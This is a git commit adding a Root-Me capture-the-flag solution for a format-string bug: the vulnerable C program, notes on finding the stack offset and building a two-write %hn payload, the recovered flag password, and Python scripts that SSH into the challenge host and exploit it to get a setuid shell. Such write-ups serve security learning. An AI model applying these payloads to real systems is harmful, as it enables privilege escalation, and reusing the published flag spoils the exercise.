feat: app system challenges
Signed-off-by: Tuan-Dat Tran <tuan-dat.tran@dextradata.com>
This commit is contained in:
@@ -0,0 +1,28 @@
|
||||
CHALLENGE=ch14
|
||||
USER=app-systeme-$(CHALLENGE)
|
||||
USER_CRACKED=$(USER)-cracked
|
||||
|
||||
CC=gcc
|
||||
CFLAGS=-m32 -no-pie
|
||||
LDFLAGS=-z noexecstack
|
||||
|
||||
SRC=$(CHALLENGE).c
|
||||
OBJ=$(SRC:.c=.o)
|
||||
BIN=$(CHALLENGE)
|
||||
|
||||
.DEFAULT_GOAL := challenge
|
||||
.PHONY : clean all
|
||||
|
||||
$(BIN): $(OBJ)
|
||||
@echo "Compiling..."
|
||||
$(CC) -o $@ $(SRC) $(LDFLAGS) $(CFLAGS)
|
||||
|
||||
challenge: $(BIN)
|
||||
@echo "Applying permissions..."
|
||||
rm -f $(OBJ)
|
||||
chown $(USER_CRACKED):$(USER) $(BIN) .passwd Makefile $(SRC)
|
||||
chmod 400 .passwd
|
||||
chmod 440 $(SRC) Makefile
|
||||
chmod 550 $(BIN)
|
||||
chmod u+s $(BIN)
|
||||
|
||||
BIN
app-system/elf-x86-format-string-bug-basic-2/artifacts/ch14
Executable file
BIN
app-system/elf-x86-format-string-bug-basic-2/artifacts/ch14
Executable file
Binary file not shown.
@@ -0,0 +1,37 @@
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
#include <sys/types.h>
|
||||
#include <unistd.h>
|
||||
|
||||
int main( int argc, char ** argv )
|
||||
|
||||
{
|
||||
|
||||
int var;
|
||||
int check = 0x04030201;
|
||||
|
||||
char fmt[128];
|
||||
|
||||
if (argc <2)
|
||||
exit(0);
|
||||
|
||||
memset( fmt, 0, sizeof(fmt) );
|
||||
|
||||
printf( "check at 0x%x\n", &check );
|
||||
printf( "argv[1] = [%s]\n", argv[1] );
|
||||
|
||||
snprintf( fmt, sizeof(fmt), argv[1] );
|
||||
|
||||
if ((check != 0x04030201) && (check != 0xdeadbeef))
|
||||
printf ("\nYou are on the right way !\n");
|
||||
|
||||
printf( "fmt=[%s]\n", fmt );
|
||||
printf( "check=0x%x\n", check );
|
||||
|
||||
if (check==0xdeadbeef)
|
||||
{
|
||||
printf("Yeah dude ! You win !\n");
|
||||
setreuid(geteuid(), geteuid());
|
||||
system("/bin/bash");
|
||||
}
|
||||
}
|
||||
250
app-system/elf-x86-format-string-bug-basic-2/notes.org
Normal file
250
app-system/elf-x86-format-string-bug-basic-2/notes.org
Normal file
@@ -0,0 +1,250 @@
|
||||
* ELF x86 - Format string bug basic 2
|
||||
|
||||
Description: Oder wie man das, was man will, an die gewünschte Stelle im Stapel schreibt
|
||||
|
||||
Aufgabe
|
||||
Einstellungen der Umgebung
|
||||
PIE Position Independent Executable pas_valide.svg?1566650180
|
||||
RelRO Read Only relocations pas_valide.svg?1566650180
|
||||
NX Non-Executable Stack valide.svg?1566650190
|
||||
Heap exec Non-Executable Heap valide.svg?1566650190
|
||||
ASLR Address Space Layout Randomization pas_valide.svg?1566650180
|
||||
SF Source Fortification pas_valide.svg?1566650180
|
||||
SSP Stack-Smashing Protection valide.svg?1566650190
|
||||
SRC Zugriff auf den Source code valide.svg?1566650190
|
||||
Quellcode
|
||||
#+begin_src C
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
#include <sys/types.h>
|
||||
#include <unistd.h>
|
||||
|
||||
int main( int argc, char ** argv )
|
||||
{
|
||||
int var;
|
||||
int check = 0x04030201;
|
||||
|
||||
char fmt[128];
|
||||
|
||||
if (argc <2)
|
||||
exit(0);
|
||||
|
||||
memset( fmt, 0, sizeof(fmt) );
|
||||
|
||||
printf( "check at 0x%x\n", &check );
|
||||
printf( "argv[1] = [%s]\n", argv[1] );
|
||||
|
||||
snprintf( fmt, sizeof(fmt), argv[1] );
|
||||
|
||||
if ((check != 0x04030201) && (check != 0xdeadbeef))
|
||||
printf ("\nYou are on the right way !\n");
|
||||
|
||||
printf( "fmt=[%s]\n", fmt );
|
||||
printf( "check=0x%x\n", check );
|
||||
|
||||
if (check==0xdeadbeef)
|
||||
{
|
||||
printf("Yeah dude ! You win !\n");
|
||||
setreuid(geteuid(), geteuid());
|
||||
system("/bin/bash");
|
||||
}
|
||||
}
|
||||
#+end_src
|
||||
|
||||
Zugangsdaten für die Übung
|
||||
#+begin_quote
|
||||
Host challenge02.root-me.org
|
||||
Protokoll SSH
|
||||
Port 2222
|
||||
Zugang per SSH ssh -p 2222 app-systeme-ch14@challenge02.root-me.org
|
||||
Benutzername app-systeme-ch14
|
||||
Passwort app-systeme-ch14
|
||||
#+end_quote
|
||||
|
||||
* Investigation Log
|
||||
|
||||
** Downloaded challenge files
|
||||
|
||||
Used Paramiko to fetch remote files into =artifacts/=: =ch14=, =ch14.c=, =Makefile=.
|
||||
|
||||
Makefile confirms build flags:
|
||||
- =-m32 -no-pie=
|
||||
- =-z noexecstack=
|
||||
|
||||
This matches challenge metadata: no PIE, NX enabled, no ASLR on target.
|
||||
|
||||
** Vulnerability
|
||||
|
||||
The bug is here:
|
||||
|
||||
#+begin_src c
|
||||
snprintf(fmt, sizeof(fmt), argv[1]);
|
||||
#+end_src
|
||||
|
||||
=argv[1]= is used directly as a format string. With format directives like =%n=, we can write to memory.
|
||||
|
||||
Target variable:
|
||||
|
||||
#+begin_src c
|
||||
int check = 0x04030201;
|
||||
...
|
||||
if (check == 0xdeadbeef) {
|
||||
system("/bin/bash");
|
||||
}
|
||||
#+end_src
|
||||
|
||||
** Stack argument offset discovery
|
||||
|
||||
Bruteforce payload: =AAAA.%<i>$x=.
|
||||
|
||||
Result: at offset =9= we get =41414141=.
|
||||
|
||||
So first 4 bytes of our payload are interpreted as argument 9.
|
||||
|
||||
** Write strategy
|
||||
|
||||
Need to write =0xdeadbeef= into =check=.
|
||||
|
||||
Used two half-word writes with =%hn=:
|
||||
- lower half (addr): =0xbeef= (=48879=)
|
||||
- upper half (addr+2): =0xdead= (=57005=)
|
||||
|
||||
Payload layout:
|
||||
- 4 bytes: =p32(check_addr)=
|
||||
- 4 bytes: =p32(check_addr+2)=
|
||||
- format tail: =%11$48871x%9$hn%12$8126x%10$hn=
|
||||
|
||||
Why those paddings:
|
||||
- first 8 bytes already count as printed characters
|
||||
- 48871 + 8 = 48879 (0xbeef) -> first =%hn=
|
||||
- 8126 more chars -> 57005 (0xdead) -> second =%hn=
|
||||
|
||||
** Address behavior and PTY note
|
||||
|
||||
=check= stack address is stable for identical invocation shape, but differs between PTY and non-PTY sessions.
|
||||
|
||||
For reliable exploit:
|
||||
- probe =check= address with same payload length and PTY mode
|
||||
- immediately run exploit in PTY mode
|
||||
|
||||
Observed stable PTY probe address: =0xbffffb88=.
|
||||
|
||||
** Successful exploitation
|
||||
|
||||
Exploit output:
|
||||
- =check=0xdeadbeef=
|
||||
- =Yeah dude ! You win !=
|
||||
- effective uid switched to =app-systeme-ch14-cracked=
|
||||
|
||||
Recovered password:
|
||||
|
||||
#+begin_quote
|
||||
1l1k3p0Rn&P0pC0rn
|
||||
#+end_quote
|
||||
|
||||
* Helper Scripts
|
||||
|
||||
- =scripts/find_offset.py=: brute-force the format-string stack offset.
|
||||
- =scripts/exploit.py=: probes =check= address and performs 2x =%hn= write to spawn shell and read =.passwd=.
|
||||
|
||||
** Note: exploit implementation without struct.pack
|
||||
|
||||
The exploit script no longer uses =struct.pack("<I", ...)=.
|
||||
|
||||
Instead, it uses a manual little-endian encoder:
|
||||
|
||||
#+begin_src python
|
||||
def p32_le(value: int) -> bytes:
|
||||
value &= 0xFFFFFFFF
|
||||
return bytes((
|
||||
value & 0xFF,
|
||||
(value >> 8) & 0xFF,
|
||||
(value >> 16) & 0xFF,
|
||||
(value >> 24) & 0xFF,
|
||||
))
|
||||
#+end_src
|
||||
|
||||
This produces the same 4-byte layout as =struct.pack("<I", value)= on x86.
|
||||
|
||||
Example:
|
||||
- =0xbffffb88= -> bytes =88 fb ff bf=
|
||||
- =0xbffffb8a= -> bytes =8a fb ff bf=
|
||||
|
||||
So the payload semantics are unchanged: argument 9 points to =check=, argument 10 points to =check+2=, and the two =%hn= writes still set =check= to =0xdeadbeef=.
|
||||
|
||||
* Solution Explanation
|
||||
|
||||
1) Identify the bug
|
||||
|
||||
The program calls:
|
||||
|
||||
#+begin_src c
|
||||
snprintf(fmt, sizeof(fmt), argv[1]);
|
||||
#+end_src
|
||||
|
||||
User input is interpreted as a format string. This allows format-string primitives like stack reads (=%x=) and memory writes (=%n= / =%hn=).
|
||||
|
||||
2) Define the win condition
|
||||
|
||||
The shell is spawned only if:
|
||||
|
||||
#+begin_src c
|
||||
if (check == 0xdeadbeef) {
|
||||
setreuid(geteuid(), geteuid());
|
||||
system("/bin/bash");
|
||||
}
|
||||
#+end_src
|
||||
|
||||
So exploitation goal is to overwrite local stack variable =check= from =0x04030201= to =0xdeadbeef=.
|
||||
|
||||
3) Find where our bytes land in variadic arguments
|
||||
|
||||
Using marker payloads like =AAAA.%<i>$x=, we detect when =41414141= appears.
|
||||
|
||||
Observed offset: =9=.
|
||||
|
||||
Meaning:
|
||||
- bytes 0..3 of payload are read as argument 9
|
||||
- bytes 4..7 of payload are read as argument 10
|
||||
|
||||
4) Choose a safe write primitive
|
||||
|
||||
Writing full 32-bit with one =%n= is possible but impractical due to huge padding.
|
||||
|
||||
Use two half-word writes with =%hn=:
|
||||
- write lower 16 bits (=0xbeef=) to =check=
|
||||
- write upper 16 bits (=0xdead=) to =check+2=
|
||||
|
||||
5) Build the payload
|
||||
|
||||
Payload bytes:
|
||||
- first 4 bytes: little-endian address of =check=
|
||||
- next 4 bytes: little-endian address of =check+2=
|
||||
- then format tail: =%11$48871x%9$hn%12$8126x%10$hn=
|
||||
|
||||
Padding math:
|
||||
- 8 raw address bytes are already counted as printed chars
|
||||
- need first total count =48879= (=0xbeef=): print =48871= extra chars
|
||||
- after first =%hn=, need second total count =57005= (=0xdead=): print =8126= extra chars
|
||||
|
||||
6) Handle runtime detail (PTY stability)
|
||||
|
||||
The stack address printed for =check= is stable only for the same invocation style.
|
||||
|
||||
PTY vs non-PTY shifts addresses. Reliable method:
|
||||
- probe address in PTY mode with same payload length
|
||||
- exploit immediately in PTY mode with same layout
|
||||
|
||||
7) Confirm success
|
||||
|
||||
Successful run shows:
|
||||
- =check=0xdeadbeef=
|
||||
- =Yeah dude ! You win !=
|
||||
- effective identity =app-systeme-ch14-cracked=
|
||||
- readable flag/password file =.passwd=
|
||||
|
||||
Recovered password:
|
||||
|
||||
#+begin_quote
|
||||
1l1k3p0Rn&P0pC0rn
|
||||
#+end_quote
|
||||
85
app-system/elf-x86-format-string-bug-basic-2/scripts/exploit.py
Executable file
85
app-system/elf-x86-format-string-bug-basic-2/scripts/exploit.py
Executable file
@@ -0,0 +1,85 @@
|
||||
#!/usr/bin/env python3
|
||||
import base64
|
||||
import re
|
||||
import shlex
|
||||
|
||||
import paramiko
|
||||
|
||||
|
||||
HOST = "challenge02.root-me.org"
|
||||
PORT = 2222
|
||||
USER = "app-systeme-ch14"
|
||||
PASSWORD = "app-systeme-ch14"
|
||||
BIN = "/challenge/app-systeme/ch14/ch14"
|
||||
|
||||
|
||||
FMT_TAIL = b"%11$48871x%9$hn%12$8126x%10$hn"
|
||||
|
||||
|
||||
def p32_le(value: int) -> bytes:
|
||||
value &= 0xFFFFFFFF
|
||||
return bytes(
|
||||
(
|
||||
value & 0xFF,
|
||||
(value >> 8) & 0xFF,
|
||||
(value >> 16) & 0xFF,
|
||||
(value >> 24) & 0xFF,
|
||||
)
|
||||
)
|
||||
|
||||
|
||||
def make_remote_cmd(payload: bytes) -> str:
|
||||
b64 = base64.b64encode(payload).decode()
|
||||
py = f"import os,base64;p=base64.b64decode('{b64}');os.execv('{BIN}',[b'ch14',p])"
|
||||
return "python3 -c " + shlex.quote(py)
|
||||
|
||||
|
||||
def run_read_all(ssh: paramiko.SSHClient, payload: bytes, pty: bool = False) -> str:
|
||||
cmd = make_remote_cmd(payload)
|
||||
_, stdout, _ = ssh.exec_command(cmd, get_pty=pty)
|
||||
return stdout.read().decode("latin-1", "ignore")
|
||||
|
||||
|
||||
def main() -> None:
|
||||
ssh = paramiko.SSHClient()
|
||||
ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())
|
||||
ssh.connect(HOST, port=PORT, username=USER, password=PASSWORD, timeout=10)
|
||||
|
||||
try:
|
||||
total_len = 8 + len(FMT_TAIL)
|
||||
probe = b"A" * total_len
|
||||
|
||||
probe_out = run_read_all(ssh, probe, pty=True)
|
||||
m = re.search(r"check at 0x([0-9a-fA-F]+)", probe_out)
|
||||
if not m:
|
||||
raise RuntimeError("could not parse check address from probe output")
|
||||
check_addr = int(m.group(1), 16)
|
||||
print(f"[+] check address: 0x{check_addr:08x}")
|
||||
|
||||
payload = p32_le(check_addr)
|
||||
payload += p32_le(check_addr + 2)
|
||||
payload += FMT_TAIL
|
||||
|
||||
if len(payload) != total_len:
|
||||
raise RuntimeError("payload length changed; probe and exploit would desync")
|
||||
|
||||
cmd = make_remote_cmd(payload)
|
||||
stdin, stdout, _ = ssh.exec_command(cmd, get_pty=True)
|
||||
stdin.write("id\n")
|
||||
stdin.write("cat .passwd\n")
|
||||
stdin.write("exit\n")
|
||||
stdin.flush()
|
||||
|
||||
out = stdout.read().decode("latin-1", "ignore")
|
||||
print(out)
|
||||
|
||||
if "check=0xdeadbeef" in out:
|
||||
print("[+] exploitation successful")
|
||||
else:
|
||||
print("[-] exploitation failed")
|
||||
finally:
|
||||
ssh.close()
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
main()
|
||||
51
app-system/elf-x86-format-string-bug-basic-2/scripts/find_offset.py
Executable file
51
app-system/elf-x86-format-string-bug-basic-2/scripts/find_offset.py
Executable file
@@ -0,0 +1,51 @@
|
||||
#!/usr/bin/env python3
|
||||
import base64
|
||||
import re
|
||||
import shlex
|
||||
|
||||
import paramiko
|
||||
|
||||
|
||||
HOST = "challenge02.root-me.org"
|
||||
PORT = 2222
|
||||
USER = "app-systeme-ch14"
|
||||
PASSWORD = "app-systeme-ch14"
|
||||
BIN = "/challenge/app-systeme/ch14/ch14"
|
||||
|
||||
|
||||
def run_payload(ssh: paramiko.SSHClient, payload: bytes, pty: bool = False) -> str:
|
||||
b64 = base64.b64encode(payload).decode()
|
||||
py = f"import os,base64;p=base64.b64decode('{b64}');os.execv('{BIN}',[b'ch14',p])"
|
||||
cmd = "python3 -c " + shlex.quote(py)
|
||||
_, stdout, _ = ssh.exec_command(cmd, get_pty=pty)
|
||||
return stdout.read().decode("latin-1", "ignore")
|
||||
|
||||
|
||||
def main() -> None:
|
||||
ssh = paramiko.SSHClient()
|
||||
ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())
|
||||
ssh.connect(HOST, port=PORT, username=USER, password=PASSWORD, timeout=10)
|
||||
|
||||
try:
|
||||
found = None
|
||||
for i in range(1, 80):
|
||||
payload = f"AAAA.%{i}$x".encode()
|
||||
out = run_payload(ssh, payload)
|
||||
m = re.search(r"fmt=\[(.*)\]", out)
|
||||
if not m:
|
||||
continue
|
||||
fmt_out = m.group(1).lower()
|
||||
if "41414141" in fmt_out:
|
||||
found = i
|
||||
print(f"[+] offset found: {i}")
|
||||
print(f"[+] fmt output: {m.group(1)}")
|
||||
break
|
||||
|
||||
if found is None:
|
||||
print("[-] offset not found in tested range")
|
||||
finally:
|
||||
ssh.close()
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
main()
|
||||
Reference in New Issue
Block a user